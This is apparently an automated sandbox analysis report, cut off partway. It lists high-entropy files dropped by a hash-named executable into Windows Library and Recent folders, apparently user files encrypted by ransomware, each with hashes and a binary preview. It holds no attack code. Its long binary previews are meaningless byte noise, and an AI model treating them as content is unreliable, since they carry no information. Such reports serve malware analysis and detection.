:....Hk.C..9...jMV..y9.gD./T.#p%..q.(...R..z".p..MA{.C!.._.@..W.??u..C=)F..[Q...KA7Z..B+..('...Qd....5..l...{.....7:.9......H....gp...r..V<l.=hN>...f.yX.......R.bV.\|38...U....6.S....%2.{.]4.F...aZ...{......gW...U.\|...&X....y0N6..W=..F\|%.j..T.u-...W..B.;;'4....8nO...Q..1d&.....S..Zz....n.a.O.+...,([".WI...D.c..q.7qsw\(..0.U..R...C.\..HH....[.......S.s.......H.5.....-.4$/....>.u.~eD.h...2.\|J...)p.s...n.N.T.....8.YF..D......5{Lr.v...H..D...........f)...{....V.\CA...{.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.849476578278123
Encrypted:	false
SSDEEP:	24:aeAj6cNXbpUeIeYsHpHkA3S7p//EdmJcUNMimsHF7TLhtrKgJJXs5kbD:yucNLKeIeXHkmYOmeimY3LhpKEXpD
MD5:	E1DA3F957D2376384DF21B5DB354B24F
SHA1:	5F67D56ED5170D504EE9A5F8BB85AC16C8A0D1BB
SHA-256:	73759E8E4AC6DDE8F76D1C07870DC93C37ACA4B4453EB934085C585EDDB849AC
SHA-512:	A63CEB591A4C0A5B49CF3C7B6F1342B9A1F725B0F41C4EE17B02278EF1F05070906E3CA795BEFA3B15B06D105DBED59D13452C15711E29EE20EBE833766BA561
Malicious:	false
Preview:	<?xml....=..7...I'..$........./...#..........................B0\|a...;.HUb....'PWw..MRyF...`r..Nn.;V..."............ N.%.9v...?r..\|.'S.n...L...........!.2....Ox.-6. .(..V.3.....Z.>>.i,$...T..#.y..E.L....5...lJ.........C\|.{?N.Hf.O._\|4{_.7.fan.D(...}..$).ta...f.....U....Y......\+xO.P#.5.Ne.7F..8r].W..p.h..u/bN0,.`...5(....).N.v."z..F..y.......'/w...0...sW]^.\.E.")....4."w..p......'`...n.b.....)..[...,#.m...S..9.+...K..#.....=.BG.....5J.J...M...W.K6......e....8.9.gPf..Hi.....x.4T...8Um<../:isJX........B,5.J..C...>.9....}.].1E.G..yP......`.}N.....$.....].a......'........Z.9u.`.=.n......V,.n.zx..U..0F..m.eu'Iy..P..k`^OH.D.8eo...^L.82I..".j...~&*....?d!...g.!.p..O.a....><g.2f.....0(...u.v...y...M.X......0{.....`...V\y.l.......N...~E.z..i.6Y.....\..\%-.\V.)oP~I..p.8....#)....p..Dq.)I...E......g..S8..J~...!.}.t.,i..,.+....h....Eo...qMg....b..4..../Y.~uy;......S....s..`.9.....O.._5I.xZU...K..q....W..Ot\Y;}oC...ua...NP.v..y]k...^.'.o6.d.W.S.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2405
Entropy (8bit):	7.918167195150724
Encrypted:	false
SSDEEP:	48:uNdTmeX6D2VCF3NvM04zcqNXPIin7+N2rx+YRD3BnuTBINzb16TuQSxEQD:YqeW2VCF378I5krxjrRsTuzxZ
MD5:	2BF7630FC63FAE338E7A884FD39E98A1
SHA1:	D8B4C29306BD1C1B1C5A87FF46D75EA7B872858E
SHA-256:	890C49A3E37D34C74FFCD3F913C17408749B95C654426D9AF35771E101AD57A7
SHA-512:	6ECB1134BAB872B0686C34175AE6C9BF50EDE71DCB00897BF482B42BE40CC513032EE70103E2656F4734FF2A60F0FDCC478D2C339862790E9929D13E49E6EBF4
Malicious:	false
Preview:	<?xmlg.............c.X.K__R.N..4...'.K..wo.U.....M.~..0.r.R9...L.....ImYsM....."..e.....N...cE.u.ZF...0.0R..{g.....{.5f~Z...<,.....I.;..!..D..~QdRa...V7.U$b.O9...I..M...B..../.!.$T$....=.T......e..P.map~#1aW..<GL..1.:.w....<..#6...{.{.:..+..8.+Kf..G.........w.A9?..1.m'+...] ..J.l%.g......Pe.z...#......LT.ff...r.. h.X=.2..7....)V_...._..QG_......i..La&.+).J.'..i.>i.a+..... .......U?!..0..Nu...Lz.e.u..!.E.4(.fh...x.~.pf..]....M~..L...CP.K.h...L.3.t.O%7.....A..%.c..BQ...n...`.R..V.#p7..%.lu...=...@..,..Bc.82.5........%m..Z<m.?.\|I.+....`y...1.^I..=Js9:...3..!.......v...N.s..:........p..>..g.v....WJZ.k...~.y.c.\|~....N.!.O.. ..H.Qq..x..mw..X...1.6..h.h..`...v%.<...~2.{.Um....~.r%...N~..L.:.J..L.&...t...........2.j.$y.'-J..@6.....B4....j..%.....;J..1..... .....R..E 8..;.....-_J.>.,.._.j........^.5J{".Rr.V. ^..3B.6$.Z,.K.3.1'....R.Z..}....=...\....u.\|....d.........z!..Q...B_._.,W.m..H\n..\..uT..=.....?....i.1..{ ..;.F.Q...k.i.........x

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ANHVHMGQLM.png

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841367399333282
Encrypted:	false
SSDEEP:	24:xtWHaUV7OCfYX11x06uEeFprWe+naC3B/tOkC6RcoF2I2e21JGfZjDoGkbD:xcbxOCQFZ8Fprcj2868ke2sojD
MD5:	6D78BC333032B0E6A01721A080195677
SHA1:	0938806E0B6692769414CA6085EBD68251A1F9D1
SHA-256:	B1428A673F151F079E0AB9CBFF228E164368B9AB73FEF32DCE4973CE44E6C298
SHA-512:	DC2C1518B3B52525DAD494462EDD2CCE634A1DA759FCA8978F14003B668688197EA9732E0F29524D95962659EFB040D590B21EA047B7673ECD9E2DC0DB8D0613
Malicious:	false
Preview:	ANHVHY.}...rf..$...........{Mc.%.A:.b(.9-e.j......l.h..<.u.........(KW.b...%.-.$.\...D%dY.\...U.....o!...G>....K.i...7,...-.......zg.O9.H\......%<.s.....ZV<..E...J....v.Zet.\|...u7^...T.V....x..R..p...L.\|z....g&....PBIE.....G.;..{..v.....Pi.j..?.s....P.........7...b.].&...../....-.<.\|.-9.q2<.,w8...Q..t.R...V..)..x.q...B..F..R.E.o...#.D.$..NP.'.&..uUVH...zxz..v...O..mB......Ry...Y.:j~\|9..~k.`.sq~........1.KQ.M....`.4...........gY..?..>..Q......K....w~.....Jg.RuN.{\|..e).L/....A.......K(.......@j..W......ya....<1R}....`P...:~U..:.%.'T.7C.+,R............/n.Z....."M.^-8.nu...'.-....J.02...,P1.Y.eR. x.T.0...H.q...... .BF1F.5.....Q..._d.D..>.../".8C.f}....8.........h..$.$.cJ\|..y.!....qC%.....1.....VX.yCu..j8J.. /..Wh.....rn...DL..."...xB.....8...1)....{#6"..(3..x...#..! 'KjQ..Fy9b..Ac..3.b4...A.#.eh.N..J[S.@.....m.zN..X.\|.S..ym=......^.n5,.0s....Ej....nD.....&.....i.g...k..x\|. .....u.<...R ....~4.OS...4.,EL..y.........=..'~.#C..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AZTRJHKCVR.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858812312352881
Encrypted:	false
SSDEEP:	24:D+qtGmJimTNVPIptVcOJw8g6JkkbkDHIPjOsIEZApUVhyB9BtXfZ++PcJbWkbD:66b3TNVP6bF5JkqkcPjOsjdUBnw1zD
MD5:	5685D1B5A54F863F116F5260208657AB
SHA1:	2A44765F634017232EA9B8B8EBBF9867B28DC05C
SHA-256:	5936BAC44CECFCA54D32A9C1C71E9B7D6936F991476DDD0DF076B38F6B2B36D4
SHA-512:	646646ED8C116BECE01ACE9B19254907995B1F54046B530C8A528EBE324FC11277D99D80CFB65262B1283531EDF8F2DBBB08E6B56030D2A36320DD98D6F3D04F
Malicious:	false
Preview:	AZTRJ......(L.p...S...jU.!G<.Q..w.82....].D..~...ma.}8+.eQ...4......B.....g.....<F....K.....~+Uj9TL6.te.@....d.f.{P.b..f..u..Fz]5.yC.N.})..x.....L.!..dG~..2.....c.b....\..E..3.n.m2G.r'.r......Sw...@.kdx\E...&.....N.P[.!.8.H..X......n6.t{.s..UrM..............F.?g..e..c..u.FF...b...M.>...e..J..A@..6../.S:..A=M.r.W3....l....1.TU.TDQ..........-..........JY..+bN)..i.+.x/..q...x..Z.&.}..K:..d..6..Pcy..y...P\|..E8~.5....`o(...%p/G..)q....@..:..m</..8.........xw4........neX4....M..R....f..6f.:.O.......4.W..]I6."!B...Do.........?v.~..`..&.......x.:.\T.=^.@..W...FV.......J$_u\..2j..IK.L...#.!.p.T....v...5.D.B...cw........t.U!..j...?...t......q.S.YfL...o.S.....nF).sro..v.^W.e.6..;..v...sZ.)_.Z...t..YK....n8.-!I=....{B..v.1C,....IDD..3....4.. P...E..\."....~^b.......l.K\.......P\NnW....M....i6....._...(.Bt.[).?....+.t...3..j]~.hs..I.A/.,.C...Y].......k<;.v<..d%7...%.Y5Xl.O.._.\..6.po,...9..d0y../;.ul.A_.~...r..z0_.....o..'.bh.B*.FA.-d.z...(.. (...B.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AZTRJHKCVR.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84462191100251
Encrypted:	false
SSDEEP:	24:plWOYO7Dah+6bi5DgmkbtbZAx2ApCKnydfs3ach81wUZNcKeJtAMfuutRCw4JgJi:qdmDah+35UbZAx2YC8ydIaCG3iUMdf4T
MD5:	A71E6F5A155B8E7169E336F76023B669
SHA1:	9C3B761E6D7E6633C8D32D45D66751105F3AA518
SHA-256:	5A6A0CC6BBB10206D3F42BF6D6F9B16F63857FE4A060F87BAFA35E04E5E899F5
SHA-512:	15518D0C4C25C0E622BF0A7D5ADF027E6761A791FA506BF653F9093C079EDC01EE81C5B0A884AA90158C3F89306A085110FC08C5B50F22C80608547666FD3FC5
Malicious:	false
Preview:	AZTRJK....^........Z.D..p...R....W..sa..bB..~.J...n.B..F"~..rx.L.&]M.....}H...k.D..\|..~^.k...K.'..g..T'&X..V(?SoXl..P..G..'L&A..\...._.i.X(.T.Y.l..\...j..E`.c..?IEv..[x....wY. ..c..<.w....nb.0<..`........ON.Ty$.\|..V.F.).....~.A...W..bih...ctE^K..w..9...Mt%..Md).b.B,"..d.:....~..r.y?.?.M.Z.uGo....j}.l..%p....k.N.;7...H.q...0.....I~I\|...B.=...:.?p.c....Q..t\|...1..........g......Jv...)..@.s#/.`.O......#".F..h.)..s/....:r]../...}'"...gn.qO.:6..x.h_...O......8N4W...[+X..}Y/..0.....q........:....q..H.x. R......,q...S.-.......#..U.=29..".5.w.L.W-..h5.qu.]hU=..v..9..x..u...=..H.B]N.t..3O.v..;H7pel.=N........1..f...VX.ir.".\Q.lM.@....3%.[..m.......h{.v.p$-..&.. ..l..~.D..A..s..Qx...7..x...B...S...+....$Q.V....4..]...M..Z.g..s...r\|y)...59.TY....q....AS9.i..z<..%xr...b.{S....g.p.6.D.4P.o>Y..&S.K.'ps.\..OT....X..+H..,.L.z...T.Jt..W.K4..Z..@...5P.s5..=.^.O.l3&h....p.5...Wp........B.P.r.]...h.J..(s....~.V..}...?..\..@...P.....+.....#.....(3

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1870
Entropy (8bit):	7.899544363201177
Encrypted:	false
SSDEEP:	48:9T1gwAhE0/SWcnNgLw1moDmj3L5O0/XYpjqn7lNQyD:XuUnWwUoI39b/INsNQa
MD5:	AFB2497F30415828B581B81C77A015D6
SHA1:	185E15A9BC5C0957BAC0ACD4CAF5500280455B22
SHA-256:	14B8DFC54579C42C38BBA361C36775260E1E393B7221AC1D0E24A64402895E4F
SHA-512:	3B9DEDA53806A5DD29CA156F8C5CC19E6615E22D69988DED44C500646EB355A8AF6701DA62BB608F834956FE2B3B6626C87D541CC7DCB840FDD9E3F6D9452678
Malicious:	false
Preview:	.......+..W~.x.R.#.^.._.I..e...m...(w.8IY...c.H..T..."......\|..D=.i...../....BaYLT...&X...m.[X.E......a....aG#<\...)......I.i.t...Y..B.0-.f..M.....Q...4.K.. ....\|=..]..y...1....[..8..H....+..xb4.s..{.?.._..)..h...L......3e.:......2w......>.....<.=i..T...l......h7..vg....'.O.S....pC4\|.............F...Z(...?......._..q.v.I.<....m...K...0P..U...\..k...a.6l.........4..,..0.b1Z.w..l.k.i...aIZ..;H2.~..D`..f!i..xz.tN-....'...Z.N:..E.....B......k.f........k<%...#~.a89......F._..\6...."6...B.7.......#.j....f..}0...;.7...\|...B..U..;..2..[V.....)...qZ.ov..r.O..n.e[..c..7.....+K...}. .."...L.:.. .R8.J9...l.......J.q.I\|WQf84.?4.L.'/gG..a}.._.<.07E..n.Mn5{t..P.@7.Vn..2......{...O.5*...R@.C....%S..Ro.....N..K...Q[..&...LBeZ.k.$zz....:.#.j&.I.A@z.....l$.."=.c..u......V\|....L...G.Mu.?e,v..@...x.s.&wl...S...d......s..g.8D.!".s...b`..W../.4...>.l..!.U.G....qf..........k~..i.........r...6.Sc.~'K...6....r6V.('.\.D.o...a.... r5..`.n...0.jP.......<......8.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	5966
Entropy (8bit):	7.967488780398732
Encrypted:	false
SSDEEP:	96:kiCGnFJ4Je/IRwzOtCJAwwxocCF4UubhEptSa5jzfSCh7L7x0PB275IzSs78SmkS:kns4Je/Iaqtm4mcNUGhE7Fv/h7h05kIm
MD5:	BD64A8B83A3A36C77E4755441BAF63FD
SHA1:	90B52E6EB2352356C80A41F4469E1F8D14464AAD
SHA-256:	991DCAE82672A2493C0E599A71A20EF2606B542DA4C75836A9A832DCA38DAF23
SHA-512:	F880B327E5776DA1E32582F604A8D86F5C3C2A08E8BB82717E3F6C0CFDD9F23B9777657151FF042B1984E79A8840DFC188C7E201476DB16C69913334A298820A
Malicious:	false
Preview:	.......;..:.BN7.....;C.u&.@.@W...Y,.......?.....b.'.6.m.........D{.../....\G...s.(..=.h9...e_#..._..n..ZJ.AM..S. js....?+.<(@b....{.8.......V=8.B........:$.pD.L..a....^..z..OW0.+.y.......Z....4.$lLL......L..Jv<:.#..0.L%.})Pj< /..........%.S.a\[s.{..o...U0..ajd.1.-...g...s..L)7.. ..Bs..Y..)...&X.....'.e..6IeC....8...y58Z..1].L.),..3..Z7.p..7.{.".n..U....7.4..a5`..Tk.j..).9.`.eKx.8F.r.........#HE.;.6q,...E......!.\..i.n.~.a.@X.+y.....!W.l......D.KV..{..T.....K. .$...\xZd...,D..}....t.>....zv......u.w.&..C.D....8.Q..5..x.....~..\....ru.1.s.....\|.7Zf...&..#.'....Y\|1..u....}.Z.@....].A#...!.p..........%......~...ui(> ....3...>..A...p..!..e..B.B)#k4.$.^..RXk..A+....@\..o.nb..?..<.i.}C-....l4-..Ax}02....l=.%..........<sI..5...`...Cl=va..c.G.............G.'..5.u....{.......@....x.{.@xE.%.....Q...A9..x.g..[o.a..T.*....8..H.....#A.!..+.Pu.3..".@..%..[...@.H....5.N..(.(.....}...`<.<7.......7.a...k...-.R....P.<..J...$..A:C.D>.f z6..o.?..H...W.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BNAGMGSPLO.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8532128112462045
Encrypted:	false
SSDEEP:	24:5I35HXL2cvrQA1s28iCwJQAqTVrKJHTo0BszBThOcGQHtZjHtAYHjkbD:5I35HXL2XAqJiCsjqd0ToUsRIcGAhHta
MD5:	02EB2CEEFA011D95BEC40B834E3A08FA
SHA1:	7B35AFEB2458B74F31858F261E6059A653F83FEC
SHA-256:	6D57463329BEF437559D583E838695C5CA6558B070FE279CF5BDDB1BD6945EF3
SHA-512:	C59657CB15A6CEF4507A8CB59E79C26BAEBAA7C3DDAFFAA074A4B6FB506B5A2559CB4427EE0D9303CB7886DCDAB4F04D75FF366D4DB574924537B94C46426AEE
Malicious:	false
Preview:	BNAGM.k... oG-..E.Y_1...{1....KD;..:D7...O.o).ehjkW..o..A......~OG..y..<U.H..0.....$.F<.-3O;....3mK..x...(......H....j$.....:.d.s...nw..Ys..N.s.P..]....^..k.B...G.%......u..(.G.,....@c..cn....4......=.9.Vf.2!....N..o..i.;....o"..awg1..3].......@.5cE..H.sq%.yI..N.5.........FI.H."!.`.....+..z.Nv.H...[?P#].'.H,.'....P.}p.1x...,z......k......=U..V.+..UIM....yb.(..Cs@c..3..o.h....Wo.`.T.......!.......".Z. -.CA.S_.W.......*S.%....\|@:[..F.'..JA....4$.E?.p.....8.....zR.`...e.lYM=..{W.......(_.;........+...m@X.gc.Ou...@N.!!.........$X...q..p...1...l.)..1.m.I4-.....a]H.P..V.(!.....s.....j..z...g....J....UB..uE.#.\_8.......).b.."..q{....o:....p^..-.&..0....!....p.NQg...../B......m..h~czB?#.2{.n..7Z.`!OJ.....G........q.X.Wu..eg...c.A....1..4d....h.s..y......9y..b...@....I]......9...c.....b04J.ml:r..?]......4........&.v....{.0..l..X.v.=...i..U3b.Iy.].m\|r...^i.`k....@...-... #."!hM..H.4...~A..mA.:.....P..y.+.P.k.m..QB...V.[..b.!..'O.3.......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CFIRCYHTYJ.mp3

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858472661297303
Encrypted:	false
SSDEEP:	24:ebrEMeQ6qFhgE311MXFuAaUjirUj/zjHjnsaAWB+Meu2yvuR750JTCz12Z+lETfm:P9QBDljMXFupra/HjnsaAWxWyvuMJGz3
MD5:	9ADF4435F174538872F9ABD23145FF88
SHA1:	DA5C4536E4ACE0C4969E11726A2CBFD5441340C2
SHA-256:	973A566CE29B793F36B616154567872D291867043938E48AAE1B679934D4C27B
SHA-512:	25A9CA71D5C25A0F48EFD48881BFF7BA1562221B1D1B778F8DD6F7BF9DED3D2A74CF4BF027222E82FC63D5FD0062B07C31B92A5B57DA91A0A23C1E6ECE86F1D4
Malicious:	false
Preview:	CFIRC'.V'...Qw.C{:.wK........#N.W...E.#.g}H..4........3..t.......6B....5d..6-...\>}...`..'1...7}h]..`w. .[m?..j...R.....AP=..6...........u.....D..5.....!@.A..n@.Q.....u.....u.i/....R.~... 0.x......(..3..'8..7...z.j..8OI..E......$C.R7X2.2N..9...'...E.z........D0...B.~.P.l.K..3.4vR..T`....).4.0.........1........(..q.+7.6m.../......Nh....(..t.Me..i..l..b.qz.....sG(B.......p.V...\|........g.n.P.#....U.EP.L....q...v..aXVK..P.+.C.]....^.f.f.5iB...[rl}...s......).j....@.L...uO.>....*..A...<..\")`u.+.G.gF.^M.V..h..v{.........f..Z.i.K.>T...`n.5.j.=.......2}~..cgF..J.O/.O.....5.yVI....m[..qo..]<.,.B.-O.k..N....&..?n......{>k..zu...{..3..ZN...`.Pk.&...o..%..L.....D+.B<.t...+...z..b..JR...D.y/b...#.]..G.........K.R..M.^.5..I..z...W\...pQ...0h Bg./:h..\|0.^#...,...1..."....0.p.._u=A...A.+O 1./.....e,rL...n....5Aw..0.`v.p...~..B.uo.=.....{}.X...Z.f.AG..@.T.)....#.r.{I...f?...{.L..og..a.W:7..f..re:./.=..L}......x..W..Z.=A.K.C%..#..A..K+....n.n.ey[.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DQOFHVHTMG.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.86300594868638
Encrypted:	false
SSDEEP:	24:2u6CYCR1XYHaAEOBa1RyCjQHsoEKk6OoSpG01M5BOoo65kbD:+CR1tUBG82d9xKmD
MD5:	5E6DA10FE0938D71E56876BBFFC8E76C
SHA1:	E78EB626F09837C46016FBAA4E5B4004BC49D8D0
SHA-256:	6A552114509FDE8DFA7F85195952DF4BA2210BE5361325D8FFB22363E0282B2D
SHA-512:	9FEE120323227C546529240AEEFF9A87CDEED844A8D4E65C1A436EFA4AD5AD1C317BCA2291DA426A91792E277A384EA23670291844A438F268ED075F39268D02
Malicious:	false
Preview:	DQOFH.R/r....x...Z.L=sVU..yR..fr%O....1....x.-.....AiY..}..;.hM..z...Bg(.NU.#..?S.....O!....s...$M[..z..b..rj.......k...C.Q5b.....or..G..d"n\|.\|:..Rd....\|.......x.1........s)..J.._...0..`..Z4i.K.Sfd4.t.....[k.F.P\.;=....Wu.Ju...K..u;....:.N.$...a`..J.]....t.Nr. .....Qw...b....W.9...Q8.D..Z...d..;.....2...v...9.......H.r..41u.h.....Z...%-.%.~x.Zn.?."...+.FR...).....)YC..n..E..?..N....e...MH..?....@t..m..........,c..!...c..FOd......6.q..OFC.E.A....b...a%0g..7/.P....F;G.[.Bb....@..U.......8....?4.5q...+..7.O..p...X[:..@~....M...h.auI3./.i....m.Oy\|^H.....D.......Q...\|...T...]...0..]g...%T.p.E.%..p...K..3I....\.gh.j...i..~..E.....@.rw.W.-I.2.V.........\|q@..r.rS.l,.....W.t....o..4$.. .e.........<....u..z.C.?.7s..A6.&SV...f.K?.G....}G6oj.C.k..jE.8....9.=i...+.0.T...O.......jN.U...$...l...~.^..)IT.+h}./.l...e.Mm..;p.l.*G...NZ.eA7..........c...6.b..Z3L=-.x.. .....R....T.:.......C..AZ...d........%.h^....(.2O..3..Q.q.:.^PX.<.n.$.2....[..z6.!.cDO.U...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DQOFHVHTMG.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840484874481535
Encrypted:	false
SSDEEP:	24:zjDrXFX23rsOkDRIkQlox66VnPMQtCpoD9yA+7tCPZqdnGHLjX+4uDkbD:3PGkVIJepFApwYVEZJHLaWD
MD5:	A82D0A6EFDF09162DC46653D166DBEF2
SHA1:	9F9EDD96658D86FC48B907ACD54E9EC4C8D80490
SHA-256:	816B92F95A259920A4561B2EFBCD45D1E886565D97F8E3A861684969F8B21C96
SHA-512:	CB02480A18B255D050F115D96EC0353FADA9F932642BA149F9ED2D2ADA1730A9543CA8D6B646E4ABD78FE564B7353206E0A267807494E62575AD0E9990E4A1FE
Malicious:	false
Preview:	DQOFH.{....0!g..&.jD......kY...O1....=[....M..P.\WpA...\.....K.......4!.6...n..s..M.D&1S.9.3.w;O.b3..k...V..........g.g.K....).. k.b...13i.+....Z..fb.......=.....{.g.s\|"..."...I....S...>.3L...Is.W..#...g..y1..I.!=Q.e...j.b"...j...V.p``a..^m$.V.~wO..b.2$...i.(.z.S...G..'W).~..`o..g.j..6...n..d..C...HZ1j....\|pG.o.....wAMa.f.+[.....aSf=...Gf.h...L....F.Z......m.B..\|.}._.=.>.N<.N....7..>A.^.4!f.r..W.e.O!,^%....h...t1..Qo.E.V....6.7.~I.k.....o.....l....\|,'.+6!..+.2..a.9.@hy4.\|*.#.QG=....<..Ix.2}.#....5.\x..8...y...F.X...c.7i...r.F`.y......g.........SUd.M.=.M.B...@..#.V.aI.9.H..O0Te....<.j..B.y33..s..f....Ap..:.R.......</g....k...`f.^+......M.......vV..p.)h".....8.....Y..B.P....+.nc:Lo.ye-.h.LR..g_...M0....T:.&Q{.n{a%.....d.cx..b.....]...;.>.J.....Y^..8N.....k.G..Q.[..&..y.U...w.w....}....'..`c.-...m.L..=[...y...Q.n....B.T...w..; \..S.\.=G.2JS~;.uw..L.4.iR.....U.S...w..S..{.....Z....N vwJ%..Gph?.Du..)....R.... o.....n..'.......}0SX....V...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DQOFHVHTMG.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840135071365546
Encrypted:	false
SSDEEP:	24:5LDFRQbwgXWITPcpeZqgkT3AYqUA3JB0X2BQrgePkbD:5gbwEPxZqgw4f37w2B1TD
MD5:	B1C0002077A5798BA6B9D6B097B4EA3E
SHA1:	CBC1267E3CB85A181B6D0B7940512E3FC2965C49
SHA-256:	DB3AAA444FB713070BF4B95FB8DFB38B9423E850748265493528C05EC25ADA0A
SHA-512:	F7DFBF528ECFF3E3F84B0F28CC05F28C972663FCA08A3FC89D4113B718692F3BC601AE77BD7FAD903A01A456EDFEE1921FD1114C7BDD20B7CE9F361F85A62DED
Malicious:	false
Preview:	DQOFH.3.Ws...V=......k..B..N.4..."..pnK..J....An.D..w......1R{....p...._..6.~.....D..uGZ......B.3[\|.<..Vg...:... .h..5l..H.w...M.......\|..y.+4..mV....J.!.k..g%...A$..(......N.V.e.^9..\....>'...wd7..Sf."..()........ h.~.l......2.Z.;...(..N.........H?a..>d.....D./...5.....@p2.\.).A.q..k.a.....X....k.!zWu}..m.U\|..(l7.,\..:...l...m.........Y....~.W.&.<....S..?m..}....t.K{...O....I...0...=.by.6.EJ..#..= ..ku.Z].c:)....Z...I'...3.....$.zi..... %.0.......9..qPm.....8......._X..a...~.m....8....1l,.0.)w=..P.u..)d...6..)\..]....f.y..YA..mG.An......I.:.D.J..4......>.....KR..>.&I.~J....M=.K.^j,.....hu.....Rn.>F.6.?{I.0.'.?].uo..^............:......F.......e...........>".R".j.#>..T...=....P#Y:p.M...G..d...!.Gv.g.h...=N...H6g.37...]/....q...O.........Q..Ev..P...T!o.R.g....Qs.<......,.;rz.....#..E..v.........P...X.y.r.....E.&...N.....3S.[.o.32...5..t}...6....../wv....D..L.G.....s.Ro.,.H..B..?..)..z.r.-.`.o.n6\|%[...o.dO.r.iF~]..~{.C.T

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840599885323661
Encrypted:	false
SSDEEP:	24:zT3zeS1j+annQ+WllmS96+BmoNMDDWjWMMg6uLWTYjkAeU+aQIAOVbkbD:f3SS1jUXlYSjQoadWKU0IxVqD
MD5:	BFA460311F89ADAAA8C19FC07ED48EF4
SHA1:	A03FA96759E804411DC44C671BB295C42D7BAD94
SHA-256:	CAA81A499F284F5F50C42349518BE25110D37808521FC2E840476CDE8327B0A0
SHA-512:	7896EF54780C1AE6CBB06895199EFC0F59ED8BE9EB47F8B4D83485D0B642DA263617B09C255EE480F36F612E1D3C166C78B595A49FFF3C01D99A4A5F6F3E8462
Malicious:	false
Preview:	DUUDT..fP.~O..?r.8../.3..\|..UXL.c..d..\.J<.....4,...x.".:..@m..v..U.......o.\.O.DT.....,-..D...K@Ws...0.~.&.Q<...q`J...M..v.I..+5...J..(M...E.:^.\F.".\.Uu...f..Ls..6m......t.lN.....;....!...K.X...%S.;F......i.#.]..z...4..w......O.....mGR\..}.k. i..z.p....q.h....)(.]......<S.P.....i..B7...'HtE.H.r.7q......z...$=:.....}..3qz..t}...lO. ...0dn8.)`.F.j.U....+}F...r.Y]:(.y%..VC...p]...f...inR&;.b.+.]A..p...T......)......:..d.7~....O.....j.0zF`.a..'.}..MV.i...8.[.fj./uzMo./.....I.q^........l.t^._.'u.....ll.h0..`C.v...e."...m..z..X.....md....:."1..b].P.qS....."i.$.v..J..P.+q..U.]x.g11.o...... .a!..Vp..^../q.l.)....E.2...<.../...E`].d..M9.$..V....0.AQ.,..p.'..e.3.V.h..%...8c..f.4..D......b...%..$.1.5k...>.Y./.._.....Rr&....g..kS&rHDw..w..3.......~P.C.i..q.C.[#.....$..o..\|..X~X.'....Ve....z..BK..$..$.4!......ejv/...W....A:.rG."j1....q..T..F8iSd..<.2Z...... ...B...[..].N.......o..N./.z.[d.%..e%U.P..Cx[.{...k.9v...SB&O..(.&g+i....}W....<.#..d.....s

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836844663522558
Encrypted:	false
SSDEEP:	24:BAhvsj7i7wNvajfFXO3W1EsUrkQeUgyeChmPOGWyOFsalkbD:a5+i7wx6hR+srQenbNOGWyOJUD
MD5:	9AAEC7310C31BAD39D52BD946AEBCB17
